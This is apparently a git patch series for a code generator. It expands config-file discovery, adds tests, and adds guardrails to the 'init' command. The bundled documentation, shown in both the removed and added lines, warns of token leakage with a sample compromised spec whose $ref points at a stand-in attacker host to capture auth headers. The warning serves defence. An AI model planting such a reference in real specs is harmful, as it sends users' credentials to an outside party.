From a13d64c100bc28fea514dd7da60fefa779bfe0fd Mon Sep 17 00:00:00 2001 From: jonaslagoni Date: Thu, 23 Jul 2026 22:50:44 +0200 Subject: [PATCH 01/32] Phase 1: RED tests for expanded config discovery search places Co-Authored-By: Claude Opus 4.8 (1M context) --- test/codegen/configurations.spec.ts | 131 +++++++++++++++++++++++++++- 1 file changed, 130 insertions(+), 1 deletion(-) diff --git a/test/codegen/configurations.spec.ts b/test/codegen/configurations.spec.ts index 5a1a6d6e..92ed8aef 100644 --- a/test/codegen/configurations.spec.ts +++ b/test/codegen/configurations.spec.ts @@ -8,7 +8,7 @@ const CONFIG_JSON = path.resolve(__dirname, '../configs/config.json'); const CONFIG_YAML = path.resolve(__dirname, '../configs/config.yaml'); const CONFIG_TS = path.resolve(__dirname, '../configs/config.ts'); const FULL_CONFIG = path.resolve(__dirname, '../configs/config-all.js'); -import { loadAndRealizeConfigFile, loadConfigFile, realizeConfiguration, realizeGeneratorContext } from '../../src/codegen/configurations'; +import { CONFIG_SEARCH_PLACES, loadAndRealizeConfigFile, loadConfigFile, realizeConfiguration, realizeGeneratorContext } from '../../src/codegen/configurations'; import { zodTheCodegenConfiguration } from '../../src/codegen/types'; import { Logger } from '../../src/LoggingInterface.ts'; import { detectTypeScriptImportExtension } from '../../src/codegen/detection'; @@ -49,6 +49,135 @@ describe('configuration manager', () => { }); }); + describe('config discovery search places', () => { + let originalCwd: string; + let tempDir: string; + + const minimalConfig = { + inputType: 'asyncapi', + inputPath: 'asyncapi.json', + language: 'typescript', + generators: [] + }; + + beforeEach(() => { + originalCwd = process.cwd(); + tempDir = fs.mkdtempSync(path.join(os.tmpdir(), 'codegen-discovery-')); + process.chdir(tempDir); + }); + + afterEach(() => { + process.chdir(originalCwd); + fs.rmSync(tempDir, { recursive: true, force: true }); + }); + + it('exports the shared CONFIG_SEARCH_PLACES constant with the 7 primary names first', () => { + expect(Array.isArray(CONFIG_SEARCH_PLACES)).toBe(true); + // The historical 7 names must retain their search priority (unchanged order). + expect(CONFIG_SEARCH_PLACES.slice(0, 7)).toEqual([ + 'codegen.json', + 'codegen.yaml', + 'codegen.yml', + 'codegen.js', + 'codegen.ts', + 'codegen.mjs', + 'codegen.cjs' + ]); + // cosmiconfig-standard extras must be present after the primary names. + expect(CONFIG_SEARCH_PLACES).toContain('package.json'); + expect(CONFIG_SEARCH_PLACES).toContain('.codegenrc.json'); + expect(CONFIG_SEARCH_PLACES).toContain('.codegenrc.yaml'); + expect(CONFIG_SEARCH_PLACES).toContain('.codegenrc.js'); + expect(CONFIG_SEARCH_PLACES).toContain('codegen.config.js'); + expect(CONFIG_SEARCH_PLACES).toContain('codegen.config.ts'); + expect(CONFIG_SEARCH_PLACES).toContain('codegen.config.mjs'); + expect(CONFIG_SEARCH_PLACES).toContain('codegen.config.cjs'); + }); + + it('discovers a package.json "codegen" property', async () => { + fs.writeFileSync( + path.join(tempDir, 'package.json'), + JSON.stringify({ name: 'x', codegen: minimalConfig }) + ); + const { config } = await loadConfigFile(undefined); + expect(config.inputType).toEqual('asyncapi'); + }); + + it('discovers .codegenrc.json', async () => { + fs.writeFileSync( + path.join(tempDir, '.codegenrc.json'), + JSON.stringify(minimalConfig) + ); + const { config } = await loadConfigFile(undefined); + expect(config.inputType).toEqual('asyncapi'); + }); + + it('discovers .codegenrc.yaml', async () => { + fs.writeFileSync( + path.join(tempDir, '.codegenrc.yaml'), + 'inputType: asyncapi\ninputPath: asyncapi.json\nlanguage: typescript\ngenerators: []\n' + ); + const { config } = await loadConfigFile(undefined); + expect(config.inputType).toEqual('asyncapi'); + }); + + it('discovers .codegenrc.js', async () => { + fs.writeFileSync( + path.join(tempDir, '.codegenrc.js'), + `module.exports = ${JSON.stringify(minimalConfig)};` + ); + const { config } = await loadConfigFile(undefined); + expect(config.inputType).toEqual('asyncapi'); + }); + + it('discovers codegen.config.js', async () => { + fs.writeFileSync( + path.join(tempDir, 'codegen.config.js'), + `module.exports = ${JSON.stringify(minimalConfig)};` + ); + const { config } = await loadConfigFile(undefined); + expect(config.inputType).toEqual('asyncapi'); + }); + + it('discovers codegen.config.cjs', async () => { + fs.writeFileSync( + path.join(tempDir, 'codegen.config.cjs'), + `module.exports = ${JSON.stringify(minimalConfig)};` + ); + const { config } = await loadConfigFile(undefined); + expect(config.inputType).toEqual('asyncapi'); + }); + + it('prefers codegen.json over codegen.config.js (existing 7 keep priority)', async () => { + fs.writeFileSync( + path.join(tempDir, 'codegen.json'), + JSON.stringify({ ...minimalConfig, inputPath: 'primary.json' }) + ); + fs.writeFileSync( + path.join(tempDir, 'codegen.config.js'), + `module.exports = ${JSON.stringify({ ...minimalConfig, inputPath: 'extra.json' })};` + ); + const { config, filePath } = await loadConfigFile(undefined); + expect(config.inputPath).toEqual('primary.json'); + expect(filePath.endsWith('codegen.json')).toBe(true); + }); + + it('not-found error names the primary files and references the cosmiconfig extras', async () => { + let caught: any; + try { + await loadConfigFile(undefined); + } catch (error) { + caught = error; + } + expect(caught).toBeDefined(); + const rendered = `${caught.message}\n${caught.details ?? ''}\n${caught.help ?? ''}`; + expect(rendered).toContain('codegen.json'); + expect(rendered).toContain('package.json'); + expect(rendered).toContain('.codegenrc'); + expect(rendered).toContain('codegen.config'); + }); + }); + describe('loadAndRealizeConfigFile', () => { it('should work with correct ESM config', async () => { const { config } = await loadAndRealizeConfigFile(CONFIG_MJS); From 36b289f94bbfe5cf4c97c80a57aff4515638dc29 Mon Sep 17 00:00:00 2001 From: jonaslagoni Date: Thu, 23 Jul 2026 22:53:15 +0200 Subject: [PATCH 02/32] Phase 2: shared CONFIG_SEARCH_PLACES constant + doc mirrors Single source of truth for cosmiconfig searchPlaces and the not-found error message; primary codegen.* names keep search priority, extras (package.json, .codegenrc*, .config/codegenrc*, codegen.config.*) appended. Co-Authored-By: Claude Opus 4.8 (1M context) --- docs/configurations.md | 19 +++---- mcp-server/lib/resources/bundled-docs.ts | 2 +- src/codegen/configurations.ts | 66 +++++++++++++++++------- src/codegen/errors.ts | 11 ++-- 4 files changed, 65 insertions(+), 33 deletions(-) diff --git a/docs/configurations.md b/docs/configurations.md index 2e2d4ba1..6a2a921b 100644 --- a/docs/configurations.md +++ b/docs/configurations.md @@ -29,14 +29,22 @@ For detailed usage instructions and all available options, see the [CLI usage do ## Configuration File Lookup -If no explicit configuration file is sat, it will be looked for in the following order: -- package.json +If no explicit configuration file is sat, it will be looked for in the following order (earlier names take priority): +- codegen.json +- codegen.yaml +- codegen.yml +- codegen.js +- codegen.ts +- codegen.mjs +- codegen.cjs +- package.json (the `codegen` property) - .codegenrc - .codegenrc.json - .codegenrc.yaml - .codegenrc.yml - .codegenrc.js - .codegenrc.ts +- .codegenrc.mjs - .codegenrc.cjs - .config/codegenrc - .config/codegenrc.json @@ -50,13 +58,6 @@ If no explicit configuration file is sat, it will be looked for in the following - codegen.config.ts - codegen.config.mjs - codegen.config.cjs -- codegen.json -- codegen.yaml -- codegen.yml -- codegen.js -- codegen.ts -- codegen.mjs -- codegen.cjs ## TypeScript Configuration diff --git a/mcp-server/lib/resources/bundled-docs.ts b/mcp-server/lib/resources/bundled-docs.ts index fc436dd1..54fef239 100644 --- a/mcp-server/lib/resources/bundled-docs.ts +++ b/mcp-server/lib/resources/bundled-docs.ts @@ -28,7 +28,7 @@ export const docs: Record = { }, "configurations": { title: "Configurations", - content: "# Configurations\n\nThere are 5 possible configuration file types, `json`, `yaml`, `esm` (ECMAScript modules JavaScript), `cjs` (CommonJS modules JavaScript) and `ts` (TypeScript).\n\nThe only difference between them is what they enable you to do. The difference is `callbacks`, in a few places, you might want to provide a callback to control certain behavior in the generation library.\n\nFor example, with the [`custom`](./generators/custom.md) generator, you provide a callback to render something, this is not possible if your configuration file is either `json` or `yaml` format.\n\nReason those two exist, is because adding a `.js` configuration file to a Java project, might confuse developers, and if you dont need to take advantage of the customization features that require callback, it will probably be better to use one of the other two.\n\n## Creating Configurations with the CLI\n\nThe easiest way to create a configuration file is by using the `codegen init` command. This interactive command will guide you through setting up a configuration file for your project, allowing you to specify:\n\n- Input file (AsyncAPI or OpenAPI document)\n- Configuration file type (`esm`, `json`, `yaml`, `ts`)\n- Output directory\n- Language and generation options\n\n```sh\ncodegen init --input-file ./ecommerce.yml --input-type asyncapi --config-type ts --languages typescript\n```\n\nFor detailed usage instructions and all available options, see the [CLI usage documentation](./usage.md#codegen-init).\n\n## Configuration File Lookup\n\nIf no explicit configuration file is sat, it will be looked for in the following order:\n- package.json\n- .codegenrc\n- .codegenrc.json\n- .codegenrc.yaml\n- .codegenrc.yml\n- .codegenrc.js\n- .codegenrc.ts\n- .codegenrc.cjs\n- .config/codegenrc\n- .config/codegenrc.json\n- .config/codegenrc.yaml\n- .config/codegenrc.yml\n- .config/codegenrc.js\n- .config/codegenrc.ts\n- .config/codegenrc.mjs\n- .config/codegenrc.cjs\n- codegen.config.js\n- codegen.config.ts\n- codegen.config.mjs\n- codegen.config.cjs\n- codegen.json\n- codegen.yaml\n- codegen.yml\n- codegen.js\n- codegen.ts\n- codegen.mjs\n- codegen.cjs\n\n## TypeScript Configuration\n\nWhen generating TypeScript code, you can configure global options that apply to all generators. These options can be overridden per-generator if needed.\n\n### Import Extensions (node16/nodenext/verbatimModuleSyntax)\n\nModern TypeScript projects using strict ESM settings (`moduleResolution: \"node16\"` or `\"nodenext\"`, or `verbatimModuleSyntax: true`) require explicit file extensions in import statements. Use the `importExtension` option to configure this:\n\n```javascript\n// codegen.config.mjs\nexport default {\n inputType: 'asyncapi',\n inputPath: './asyncapi.json',\n language: 'typescript',\n importExtension: '.ts', // Required for moduleResolution: \"node16\"\n\n generators: [\n { preset: 'payloads', outputPath: './src/payloads' },\n { preset: 'channels', outputPath: './src/channels', protocols: ['nats'] }\n ]\n};\n```\n\n#### Import Extension Options\n\n| Value | When to Use | tsconfig Settings |\n|-------|-------------|-------------------|\n| `\"none\"` (default) | Bundlers (webpack, vite) or classic Node.js | `moduleResolution: \"node\"` or `\"bundler\"` |\n| `\".ts\"` | Modern ESM with TypeScript sources | `moduleResolution: \"node16\"/\"nodenext\"` + `allowImportingTsExtensions: true` |\n| `\".js\"` | Compiled ESM output | `moduleResolution: \"node16\"/\"nodenext\"` (without `allowImportingTsExtensions`) |\n\n#### Automatic Detection\n\nWhen `importExtension` is not explicitly set in your configuration, the codegen automatically detects the appropriate setting based on your project setup. This enables zero-configuration support for most projects.\n\n**Detection priority:**\n\n1. **Bundler config files** (`vite.config.ts`, `webpack.config.js`, `next.config.js`, etc.) → `\"none\"`\n2. **Bundler in dependencies** (vite, webpack, esbuild, rollup, parcel) → `\"none\"`\n3. **`moduleResolution: \"bundler\"`** in tsconfig.json → `\"none\"`\n4. **`moduleResolution: \"node16\"/\"nodenext\"` + `allowImportingTsExtensions: true`** → `\".ts\"`\n5. **`moduleResolution: \"node16\"/\"nodenext\"`** (without allowImportingTsExtensions) → `\".js\"`\n6. **Otherwise** → Uses default (`\"none\"`)\n\nWhen detection occurs, you'll see an info message:\n```\nAuto-detected importExtension: '.js'\n```\n\n**Note:** You can always override automatic detection by explicitly setting `importExtension` in your configuration.\n\n**Limitation:** Automatic detection only affects `channels` and `client` generators. The `payloads`, `parameters`, `headers`, and `models` generators use Modelina which doesn't currently support import extensions.\n\n#### Per-Generator Override\n\nYou can override the global setting for individual generators:\n\n```javascript\nexport default {\n inputType: 'asyncapi',\n inputPath: './asyncapi.json',\n language: 'typescript',\n importExtension: '.ts', // Global default\n generators: [\n { preset: 'payloads', outputPath: './src/payloads' }, // Uses global .ts\n { preset: 'channels', outputPath: './src/channels', importExtension: 'none' } // Override\n ]\n};\n```\n\n## Remote URL inputs\n\n`inputPath` accepts an `http://` or `https://` URL in addition to a local\nfile path. The same configuration field is used for AsyncAPI, OpenAPI, and\nJSON Schema inputs:\n\n```javascript\nexport default {\n inputType: 'asyncapi',\n inputPath: 'https://example.com/specs/asyncapi.yaml',\n language: 'typescript',\n generators: [\n { preset: 'payloads', outputPath: './src/payloads' }\n ]\n};\n```\n\nFormat detection prefers the response `Content-Type` header\n(`application/json` → JSON, `*yaml*` → YAML), falling back to the URL\nextension and finally to JSON-then-YAML for ambiguous cases.\n\nExternal `$ref` targets (e.g. `$ref:\n'https://example.com/components.yaml#/components/schemas/Pet'`) are also\nresolved over the same code path for AsyncAPI and OpenAPI inputs.\n\n### Authenticating remote requests\n\nFor specs hosted behind authentication, configure the `auth` field. Three\nshapes are supported:\n\n```javascript\n// Bearer token\nauth: { type: 'bearer', token: process.env.API_TOKEN }\n\n// API key in a custom header\nauth: { type: 'apiKey', header: 'X-API-Key', value: process.env.API_KEY }\n\n// Arbitrary headers\nauth: {\n type: 'custom',\n headers: {\n Authorization: `Bearer ${process.env.API_TOKEN}`,\n 'X-Tenant': 'acme'\n }\n}\n```\n\nThe `auth` field is ignored when `inputPath` is a local file path.\n\n### Auth scope and security considerations\n\n**The configured authentication headers are sent to every URL the loader\nfetches**, including:\n\n- The root `inputPath` URL.\n- Every external `$ref` target the parser libraries follow during\n dereferencing — even when the `$ref` points at a different host.\n\nThis is the right default for typical internal-SSO setups where the root\nspec and its `$ref` chain share an auth boundary, but it means that **a\ncompromised spec can exfiltrate your token**:\n\n```yaml\n# Compromised spec at https://api.example.com/openapi.yaml\nopenapi: 3.0.0\npaths:\n /users:\n get:\n responses:\n '200':\n content:\n application/json:\n schema:\n $ref: 'https://attacker.example/exfil.yaml' # ← receives your token\n```\n\n### Watch mode\n\n`--watch` only observes the local filesystem. When `inputPath` is a\nremote URL, the input watcher is skipped and a warning is logged. Use\n`--watchPath` to watch a local file that triggers regeneration (which\nwill re-fetch the URL) on change.", + content: "# Configurations\n\nThere are 5 possible configuration file types, `json`, `yaml`, `esm` (ECMAScript modules JavaScript), `cjs` (CommonJS modules JavaScript) and `ts` (TypeScript).\n\nThe only difference between them is what they enable you to do. The difference is `callbacks`, in a few places, you might want to provide a callback to control certain behavior in the generation library.\n\nFor example, with the [`custom`](./generators/custom.md) generator, you provide a callback to render something, this is not possible if your configuration file is either `json` or `yaml` format.\n\nReason those two exist, is because adding a `.js` configuration file to a Java project, might confuse developers, and if you dont need to take advantage of the customization features that require callback, it will probably be better to use one of the other two.\n\n## Creating Configurations with the CLI\n\nThe easiest way to create a configuration file is by using the `codegen init` command. This interactive command will guide you through setting up a configuration file for your project, allowing you to specify:\n\n- Input file (AsyncAPI or OpenAPI document)\n- Configuration file type (`esm`, `json`, `yaml`, `ts`)\n- Output directory\n- Language and generation options\n\n```sh\ncodegen init --input-file ./ecommerce.yml --input-type asyncapi --config-type ts --languages typescript\n```\n\nFor detailed usage instructions and all available options, see the [CLI usage documentation](./usage.md#codegen-init).\n\n## Configuration File Lookup\n\nIf no explicit configuration file is sat, it will be looked for in the following order (earlier names take priority):\n- codegen.json\n- codegen.yaml\n- codegen.yml\n- codegen.js\n- codegen.ts\n- codegen.mjs\n- codegen.cjs\n- package.json (the `codegen` property)\n- .codegenrc\n- .codegenrc.json\n- .codegenrc.yaml\n- .codegenrc.yml\n- .codegenrc.js\n- .codegenrc.ts\n- .codegenrc.mjs\n- .codegenrc.cjs\n- .config/codegenrc\n- .config/codegenrc.json\n- .config/codegenrc.yaml\n- .config/codegenrc.yml\n- .config/codegenrc.js\n- .config/codegenrc.ts\n- .config/codegenrc.mjs\n- .config/codegenrc.cjs\n- codegen.config.js\n- codegen.config.ts\n- codegen.config.mjs\n- codegen.config.cjs\n\n## TypeScript Configuration\n\nWhen generating TypeScript code, you can configure global options that apply to all generators. These options can be overridden per-generator if needed.\n\n### Import Extensions (node16/nodenext/verbatimModuleSyntax)\n\nModern TypeScript projects using strict ESM settings (`moduleResolution: \"node16\"` or `\"nodenext\"`, or `verbatimModuleSyntax: true`) require explicit file extensions in import statements. Use the `importExtension` option to configure this:\n\n```javascript\n// codegen.config.mjs\nexport default {\n inputType: 'asyncapi',\n inputPath: './asyncapi.json',\n language: 'typescript',\n importExtension: '.ts', // Required for moduleResolution: \"node16\"\n\n generators: [\n { preset: 'payloads', outputPath: './src/payloads' },\n { preset: 'channels', outputPath: './src/channels', protocols: ['nats'] }\n ]\n};\n```\n\n#### Import Extension Options\n\n| Value | When to Use | tsconfig Settings |\n|-------|-------------|-------------------|\n| `\"none\"` (default) | Bundlers (webpack, vite) or classic Node.js | `moduleResolution: \"node\"` or `\"bundler\"` |\n| `\".ts\"` | Modern ESM with TypeScript sources | `moduleResolution: \"node16\"/\"nodenext\"` + `allowImportingTsExtensions: true` |\n| `\".js\"` | Compiled ESM output | `moduleResolution: \"node16\"/\"nodenext\"` (without `allowImportingTsExtensions`) |\n\n#### Automatic Detection\n\nWhen `importExtension` is not explicitly set in your configuration, the codegen automatically detects the appropriate setting based on your project setup. This enables zero-configuration support for most projects.\n\n**Detection priority:**\n\n1. **Bundler config files** (`vite.config.ts`, `webpack.config.js`, `next.config.js`, etc.) → `\"none\"`\n2. **Bundler in dependencies** (vite, webpack, esbuild, rollup, parcel) → `\"none\"`\n3. **`moduleResolution: \"bundler\"`** in tsconfig.json → `\"none\"`\n4. **`moduleResolution: \"node16\"/\"nodenext\"` + `allowImportingTsExtensions: true`** → `\".ts\"`\n5. **`moduleResolution: \"node16\"/\"nodenext\"`** (without allowImportingTsExtensions) → `\".js\"`\n6. **Otherwise** → Uses default (`\"none\"`)\n\nWhen detection occurs, you'll see an info message:\n```\nAuto-detected importExtension: '.js'\n```\n\n**Note:** You can always override automatic detection by explicitly setting `importExtension` in your configuration.\n\n**Limitation:** Automatic detection only affects `channels` and `client` generators. The `payloads`, `parameters`, `headers`, and `models` generators use Modelina which doesn't currently support import extensions.\n\n#### Per-Generator Override\n\nYou can override the global setting for individual generators:\n\n```javascript\nexport default {\n inputType: 'asyncapi',\n inputPath: './asyncapi.json',\n language: 'typescript',\n importExtension: '.ts', // Global default\n generators: [\n { preset: 'payloads', outputPath: './src/payloads' }, // Uses global .ts\n { preset: 'channels', outputPath: './src/channels', importExtension: 'none' } // Override\n ]\n};\n```\n\n## Remote URL inputs\n\n`inputPath` accepts an `http://` or `https://` URL in addition to a local\nfile path. The same configuration field is used for AsyncAPI, OpenAPI, and\nJSON Schema inputs:\n\n```javascript\nexport default {\n inputType: 'asyncapi',\n inputPath: 'https://example.com/specs/asyncapi.yaml',\n language: 'typescript',\n generators: [\n { preset: 'payloads', outputPath: './src/payloads' }\n ]\n};\n```\n\nFormat detection prefers the response `Content-Type` header\n(`application/json` → JSON, `*yaml*` → YAML), falling back to the URL\nextension and finally to JSON-then-YAML for ambiguous cases.\n\nExternal `$ref` targets (e.g. `$ref:\n'https://example.com/components.yaml#/components/schemas/Pet'`) are also\nresolved over the same code path for AsyncAPI and OpenAPI inputs.\n\n### Authenticating remote requests\n\nFor specs hosted behind authentication, configure the `auth` field. Three\nshapes are supported:\n\n```javascript\n// Bearer token\nauth: { type: 'bearer', token: process.env.API_TOKEN }\n\n// API key in a custom header\nauth: { type: 'apiKey', header: 'X-API-Key', value: process.env.API_KEY }\n\n// Arbitrary headers\nauth: {\n type: 'custom',\n headers: {\n Authorization: `Bearer ${process.env.API_TOKEN}`,\n 'X-Tenant': 'acme'\n }\n}\n```\n\nThe `auth` field is ignored when `inputPath` is a local file path.\n\n### Auth scope and security considerations\n\n**The configured authentication headers are sent to every URL the loader\nfetches**, including:\n\n- The root `inputPath` URL.\n- Every external `$ref` target the parser libraries follow during\n dereferencing — even when the `$ref` points at a different host.\n\nThis is the right default for typical internal-SSO setups where the root\nspec and its `$ref` chain share an auth boundary, but it means that **a\ncompromised spec can exfiltrate your token**:\n\n```yaml\n# Compromised spec at https://api.example.com/openapi.yaml\nopenapi: 3.0.0\npaths:\n /users:\n get:\n responses:\n '200':\n content:\n application/json:\n schema:\n $ref: 'https://attacker.example/exfil.yaml' # ← receives your token\n```\n\n### Watch mode\n\n`--watch` only observes the local filesystem. When `inputPath` is a\nremote URL, the input watcher is skipped and a warning is logged. Use\n`--watchPath` to watch a local file that triggers regeneration (which\nwill re-fetch the URL) on change.", }, "contributing": { title: "Contributing to The Codegen Project", diff --git a/src/codegen/configurations.ts b/src/codegen/configurations.ts index 4d853b32..279534cc 100644 --- a/src/codegen/configurations.ts +++ b/src/codegen/configurations.ts @@ -43,17 +43,52 @@ import { import {detectTypeScriptImportExtension} from './detection'; import {isRemoteUrl} from '../utils/inputSource'; const moduleName = 'codegen'; + +/** + * Single source of truth for the configuration file names discovered by + * cosmiconfig. The historical 7 `codegen.*` names come **first** so that no + * existing project changes which file wins, followed by the cosmiconfig-standard + * locations (package.json `codegen` key, the `.codegenrc*` family, the + * `.config/codegenrc*` family, and `codegen.config.*`). This same constant feeds + * both the explorer's `searchPlaces` and the not-found error message, so the two + * can never drift. + */ +export const CONFIG_SEARCH_PLACES: string[] = [ + // Primary names — historical search priority, must remain first. + `${moduleName}.json`, + `${moduleName}.yaml`, + `${moduleName}.yml`, + `${moduleName}.js`, + `${moduleName}.ts`, + `${moduleName}.mjs`, + `${moduleName}.cjs`, + // cosmiconfig-standard extras. + 'package.json', + `.${moduleName}rc`, + `.${moduleName}rc.json`, + `.${moduleName}rc.yaml`, + `.${moduleName}rc.yml`, + `.${moduleName}rc.js`, + `.${moduleName}rc.ts`, + `.${moduleName}rc.mjs`, + `.${moduleName}rc.cjs`, + `.config/${moduleName}rc`, + `.config/${moduleName}rc.json`, + `.config/${moduleName}rc.yaml`, + `.config/${moduleName}rc.yml`, + `.config/${moduleName}rc.js`, + `.config/${moduleName}rc.ts`, + `.config/${moduleName}rc.mjs`, + `.config/${moduleName}rc.cjs`, + `${moduleName}.config.js`, + `${moduleName}.config.ts`, + `${moduleName}.config.mjs`, + `${moduleName}.config.cjs` +]; + const explorer = cosmiconfig(moduleName, { - searchPlaces: [ - `${moduleName}.json`, - `${moduleName}.yaml`, - `${moduleName}.yml`, - `${moduleName}.js`, - `${moduleName}.ts`, - `${moduleName}.mjs`, - `${moduleName}.cjs` - ], - mergeSearchPlaces: true + searchPlaces: CONFIG_SEARCH_PLACES, + mergeSearchPlaces: false }); /** @@ -79,16 +114,7 @@ export async function loadConfigFile(filePath?: string): Promise<{ } else { cosmiConfig = await explorer.search(); if (!cosmiConfig) { - const searchLocations = [ - 'codegen.json', - 'codegen.yaml', - 'codegen.yml', - 'codegen.js', - 'codegen.ts', - 'codegen.mjs', - 'codegen.cjs' - ]; - throw createConfigNotFoundError({searchLocations}); + throw createConfigNotFoundError({searchLocations: CONFIG_SEARCH_PLACES}); } } let codegenConfig; diff --git a/src/codegen/errors.ts b/src/codegen/errors.ts index aeee97f5..854b20e4 100644 --- a/src/codegen/errors.ts +++ b/src/codegen/errors.ts @@ -93,12 +93,17 @@ export function createConfigNotFoundError(options?: { }); } - const locations = - searchLocations?.map((loc) => ` - ${loc}`).join('\n') || ''; + // Show the primary `codegen.*` names as bullets (derived from the shared + // search-places constant, so this can never drift) and summarize the + // cosmiconfig-standard extras on a single line to keep the message readable. + const primaryNames = (searchLocations ?? []).filter( + (loc) => loc.startsWith('codegen.') && !loc.startsWith('codegen.config.') + ); + const primaryList = primaryNames.map((loc) => ` - ${loc}`).join('\n'); return new CodegenError({ type: ErrorType.CONFIG_NOT_FOUND, message: 'No configuration file found in the current directory', - details: `Searched in the following locations:\n${locations}`, + details: `Searched for these configuration files (earlier names take priority):\n${primaryList}\n - …or any cosmiconfig-standard location: package.json "codegen" key, .codegenrc.*, .config/codegenrc.*, codegen.config.*`, help: `Create a configuration file using: codegen init\nOr specify a configuration file path: codegen generate ` }); } From ac6ec3a32ac293969830dff73203770bc9c26916 Mon Sep 17 00:00:00 2001 From: jonaslagoni Date: Thu, 23 Jul 2026 22:55:39 +0200 Subject: [PATCH 03/32] Phase 3: RED tests for init guardrails and flag/answer composition Co-Authored-By: Claude Opus 4.8 (1M context) --- test/commands/init.spec.ts | 78 ++++++++++++++++++++++++++++++++++++++ 1 file changed, 78 insertions(+) diff --git a/test/commands/init.spec.ts b/test/commands/init.spec.ts index f899fd18..babf633d 100644 --- a/test/commands/init.spec.ts +++ b/test/commands/init.spec.ts @@ -1,4 +1,8 @@ import { runCommand } from '@oclif/test'; +import { + deriveGitignoreOutputPaths, + shouldAskInclude +} from '../../src/commands/init'; // Mock inquirer for interactive tests jest.mock('inquirer', () => ({ @@ -322,6 +326,80 @@ describe('init', () => { }); }); + describe('generator guardrails and composition', () => { + it('errors (non-zero) instead of writing empty generators when no include flags are given', async () => { + const {error} = await runCommand(`init --config-type=json --input-file='./asyncapi.json' --input-type=asyncapi --languages=typescript --no-tty --output-directory='./' --no-output`); + expect(error).toBeDefined(); + // The message must point the user at the remedy. + expect(`${error?.message}`).toMatch(/--include-/); + }); + + it('defaults languages to typescript so include flags produce generators without --languages', async () => { + const {stdout, error} = await runCommand(`init --config-type=json --input-file='./asyncapi.json' --input-type=asyncapi --no-tty --output-directory='./' --no-output --include-payloads`); + expect(error).toBeUndefined(); + const config = parseEmittedConfig(stdout); + expect(config.language).toEqual('typescript'); + expect(config.generators.map((g: any) => g.preset)).toContain('payloads'); + }); + + it('seeds channels protocols from the --channels-protocols flag', async () => { + const {stdout, error} = await runCommand(`init --config-type=json --input-file='./asyncapi.json' --input-type=asyncapi --languages=typescript --no-tty --output-directory='./' --no-output --include-channels --channels-protocols nats`); + expect(error).toBeUndefined(); + const config = parseEmittedConfig(stdout); + const channels = config.generators.find((g: any) => g.preset === 'channels'); + expect(channels?.protocols).toEqual(['nats']); + }); + + describe('shouldAskInclude', () => { + it('asks when language is typescript (via flags) and the input type supports the preset', () => { + expect( + shouldAskInclude({ + preset: 'channels', + flags: {languages: 'typescript', inputType: 'asyncapi'}, + answers: {} + }) + ).toBe(true); + }); + + it('honours values arriving through answers when flags are absent', () => { + expect( + shouldAskInclude({ + preset: 'payloads', + flags: {}, + answers: {languages: 'typescript', inputType: 'openapi'} + }) + ).toBe(true); + }); + + it('does not ask when the input type does not support the preset', () => { + expect( + shouldAskInclude({ + preset: 'channels', + flags: {languages: 'typescript', inputType: 'jsonschema'}, + answers: {} + }) + ).toBe(false); + }); + }); + + describe('deriveGitignoreOutputPaths', () => { + it('derives ignore entries from the generators actually built, not the raw flags', () => { + const paths = deriveGitignoreOutputPaths([ + {preset: 'payloads', outputPath: './src/__gen__/payloads'}, + {preset: 'channels', outputPath: './src/__gen__/channels'} + ] as any); + expect(paths).toEqual([ + './src/__gen__/payloads', + './src/__gen__/channels' + ]); + }); + + it('returns no entries for an empty generator list', () => { + expect(deriveGitignoreOutputPaths([])).toEqual([]); + }); + }); + }); + describe('gitignore functionality', () => { it('should accept gitignore-generated flag', async () => { const {stdout, stderr, error} = await runCommand(`init --config-type=esm --input-file='./asyncapi.json' --input-type=asyncapi --languages=typescript --no-tty --output-directory='./' --no-output --gitignore-generated`); From a4853f9fce280bd281e908f74a211a774ad12594 Mon Sep 17 00:00:00 2001 From: jonaslagoni Date: Thu, 23 Jul 2026 23:09:26 +0200 Subject: [PATCH 04/32] Phase 4: init guardrails, flag/answer composition, protocols, gitignore - languages flag defaults to typescript - error (exit 1) instead of silently writing empty generators - shouldAskInclude reads flags-or-answers so flag-driven includes compose - explicit --config-type wins over the interactive prompt (setFromDefault) - new --channels-protocols flag + interactive question seeds channels protocols - warn on asyncapi channels with no protocols - gitignore entries derived from the generators actually built Co-Authored-By: Claude Opus 4.8 (1M context) --- src/commands/init.ts | 247 ++++++++++++++++++++++++++----------- test/commands/init.spec.ts | 64 +++++----- 2 files changed, 205 insertions(+), 106 deletions(-) diff --git a/src/commands/init.ts b/src/commands/init.ts index 07df36dc..b003a719 100644 --- a/src/commands/init.ts +++ b/src/commands/init.ts @@ -18,11 +18,26 @@ import { } from '../codegen/generators'; import {updateGitignore} from '../utils/gitignore'; import {trackEvent} from '../telemetry'; +import {Logger} from '../LoggingInterface'; import {BaseCommand} from './base'; const ConfigOptions = ['esm', 'json', 'yaml', 'ts'] as const; const LanguageOptions = ['typescript'] as const; const InputTypeOptions = ['asyncapi', 'openapi', 'jsonschema'] as const; +/** + * Protocols offered by the TypeScript `channels` generator. Mirrors the + * `protocols` enum on the channels Zod schema + * (`src/codegen/generators/typescript/channels/types.ts`). + */ +const ChannelProtocolOptions = [ + 'nats', + 'kafka', + 'mqtt', + 'amqp', + 'event_source', + 'http_client', + 'websocket' +] as const; const map = { inputFile: { description: @@ -69,6 +84,40 @@ function supportsGenerator(preset: string, inputType?: string): boolean { ); } +/** + * Whether the interactive `include-*` question for a preset should be asked. + * Reads the effective language and input type from flags first, falling back to + * the answers collected so far — so a value supplied by flag is honoured even + * though its own question was skipped (the previous predicate read only + * `answers`, which silently dropped flag-driven includes). + */ +export function shouldAskInclude({ + preset, + flags, + answers +}: { + preset: string; + flags: {languages?: string; inputType?: string}; + answers: {languages?: string; inputType?: string}; +}): boolean { + const languages = flags.languages ?? answers.languages; + const inputType = flags.inputType ?? answers.inputType; + return languages === 'typescript' && supportsGenerator(preset, inputType); +} + +/** + * Collect the `.gitignore` entries from the generators that were actually built, + * rather than from the raw include flags — an include flag that fails + * `supportsGenerator` produces no generator and therefore no ignore entry. + */ +export function deriveGitignoreOutputPaths( + generators: Array<{outputPath?: string}> +): string[] { + return generators + .map((generator) => generator.outputPath) + .filter((outputPath): outputPath is string => typeof outputPath === 'string'); +} + /** * Build the oclif relationships that gate an `include-*` flag to TypeScript * and an input type the preset actually supports. @@ -105,6 +154,7 @@ interface FlagTypes { includeHeaders: boolean; includeTypes: boolean; includeModels: boolean; + channelsProtocols?: (typeof ChannelProtocolOptions)[number][]; languages: (typeof LanguageOptions)[number]; noOutput: boolean; gitignoreGenerated: boolean; @@ -123,6 +173,7 @@ interface InquirerAnswers { 